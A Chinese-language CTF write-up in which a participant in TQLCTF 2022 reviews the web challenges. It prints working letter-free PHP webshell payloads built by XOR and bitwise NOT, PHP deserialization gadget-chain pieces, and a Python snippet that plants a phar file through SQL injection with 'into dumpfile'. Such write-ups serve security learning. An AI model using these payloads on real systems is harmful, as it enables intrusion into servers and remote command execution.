从tqlctf2022学到的一点杂七杂八的东西
tqlctf2022应该是目前亲自参与过最离谱的比赛了(虽然就没打过几个比赛w),清华学霸们把题出得题均论文orz。复现是不可能全部复现的,就把学到的一点点新东西整理一下
首先就是web签到题,几个可控的参数单独来看不管怎么绕都没法写成shell,永远都会针对性地‘差一点点’。但是星星之火可以燎原,这一堆参数连在一起却可以写shell
然后就是无字母数字shell
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
这个还是挺值得研究的。两种方法
第一种异或拼接出assert函数
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
// 密码为 "_"
要特别注意的是利用assert函数有严格的版本限制:
阅读文档发现php>=7就不能用拼接了,php>=7.2甚至参数都不能是string,也就是说正常写文字马都不能以$_GET为参数。(至少我本地试是这样的)
另一种是取补码,让传进来的参数全都是不可见的字符。php中对一个字符串可以这样取二进制补码
~'string'
于是就有了补码+urlencode绕过的姿势
(~'%8C%86%8C%8B%9A%92')(~'%88%97%90%9E%92%96');
// 即:(system)(whoami);
当然这种函数代理也有要求:php>=7
更多无字母数字shell看这两篇文章吧,这里就不一一复现了
无字母数字webshell之提高篇
老生常谈的无字母数字 Webshell 总结
然后就是sql_test,这题也是第一次跟着wp尝试真实环境挖pop链。具体怎么挖的就不写了,就写写我认为寻找pop链的突破口吧
首先就是怎么找出发点,按wp的说法首选__destruct
,但是又说到排除调带__wakeup
的。其实后者是可以绕的,可能是为了方便吧。
然后找到的魔术方法尽量有动态函数,而且对象可控,这样就可以调__call
,比如我自己找的connection.php, 理论上应该也可以打得通
class Connection{
private $logger;
public function __destruct()
{
$this->logger->info('Disconnecting');
}
}
然后后面就继续找动态函数,直到函数名和参数都可控。就比如这条链的终点
public function __invoke($var): string
{
return ($this->handler)($var);
}
handler和var最后都可控,就结束了。
当然我不管怎么说都是在赏析官方wp,自己找还是心有余而力不足,希望以后能有类似的机会吧。。
对了,wp还指出了github上一个收集pop链的项目PHPGGC。本来说今天要试着用用的,但跑去看乌克兰了qwq
这题还有一点就是学到了mysql读写文件的姿势。mysql关于读写文件的权限有3种模式
secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
具体是什么可以通过指令show global variables like '%secure_file_priv%';
查看。如果是指定了文件夹可以看到路径。
像这题只能时间注入,也能用select语句查看select @@global.secure_file_priv;
这题触发phar反序列化实在是不知道怎么跟到c语言源码的。。但是从万能的群友手里搞到了这个网站https://heap.space/,可以查php源码
再有就是怎么用16进制把一个文件通过mysql写进磁盘,学习下wp的写法
def write():
path='/tmp/4c828b2db537e038b61043c3088cbe17/test.phar'
with open('test.phar','rb') as f:
hex_data=f.read().hex()
url=f"http://192.168.238.165:49155/index.php/test?key=3&value=select 0x{hex_data} into dumpfile '{path}'"
requests.get(url)
顺带提一句,用dumpfile不用outfile,是因为outfile会把文件二次处理
目前能看得懂的就是这两道了,其他web题都是论文题,像我这种计网都没看过的菜鸡就别想了。
虽然题目看得不多,但其实知识点还是涉及很多的,顺便熟悉了一下docker的使用,怎么在docker里调东西等等,可以说还是能从这个离谱的比赛收获不少
最后祝愿世界和平
2022-2-24